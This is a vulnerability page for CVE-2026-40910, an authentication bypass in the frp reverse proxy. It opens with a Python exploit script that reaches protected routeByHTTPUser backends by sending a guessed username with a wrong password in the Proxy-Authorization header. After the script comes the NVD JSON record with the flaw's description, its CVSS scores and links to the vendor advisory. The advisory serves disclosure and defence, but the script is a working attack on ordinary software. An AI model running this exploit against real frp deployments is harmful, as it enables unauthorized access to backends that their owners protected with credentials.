CVE-2026-40910

import requests import base64 # Exploit for CVE-2026-40910 # Description: Bypass authentication in frp when routeByHTTPUser is used. def exploit_frp_auth_bypass(target_url, target_user): """ Attempts to access a protected backend by exploiting the routing logic mismatch. """ # Construct the Proxy-Authorization header with the target user and a fake password. # The routing logic uses the username from this header to select the backend. fake_password = "incorrect_password" credentials = f"{target_user}:{fake_password}" encoded_creds = base64.b64encode(credentials.encode()).decode() headers = { "Proxy-Authorization": f"Basic {encoded_creds}", # The 'Authorization' header is used for the access control check, # but the vulnerability allows bypassing the password check in routing. # Depending on config, we might send nothing or a generic header here. } try: print(f"[*] Attempting to connect to {target_url} as user '{target_user}'...") response = requests.get(target_url, headers=headers) if response.status_code == 200: print(f"[+] Success! Accessed protected backend.") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target and guessed username TARGET = "http://example-frp.com:8080" USERNAME = "admin" # The value of routeByHTTPUser exploit_frp_auth_bypass(TARGET, USERNAME)

{"cve": {"id": "CVE-2026-40910", "sourceIdentifier": "[email protected]", "published": "2026-04-21T21:16:45.157", "lastModified": "2026-04-29T23:20:37.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "frp is a fast reverse proxy. From 0.43.0 to 0.68.0, frp contains an authentication bypass in the HTTP vhost routing path when routeByHTTPUser is used as part of access control. In proxy-style requests, the routing logic uses the username from Proxy-Authorization to select the routeByHTTPUser backend, while the access control check uses credentials from the regular Authorization header. As a result, an attacker who can reach the HTTP vhost entrypoint and knows or can guess the protected routeByHTTPUser value may access a backend protected by httpUser / httpPassword even with an incorrect Proxy-Authorization password. This issue affects deployments that explicitly use routeByHTTPUser. It does not affect ordinary HTTP proxies that do not use this feature. This vulnerability is fixed in 0.68.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fatedier:frp:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.43.0", "versionEndExcluding": "0.68.1", "matchCriteriaId": "2D911E2E-2DC1-4FC1-ABCE-0482EB5D8DD1"}]}]}], "references": [{"url": "https://github.com/fatedier/frp/security/advisories/GHSA-pq96-pwvg-vrr9", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/fatedier/frp/security/advisories/GHSA-pq96-pwvg-vrr9", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}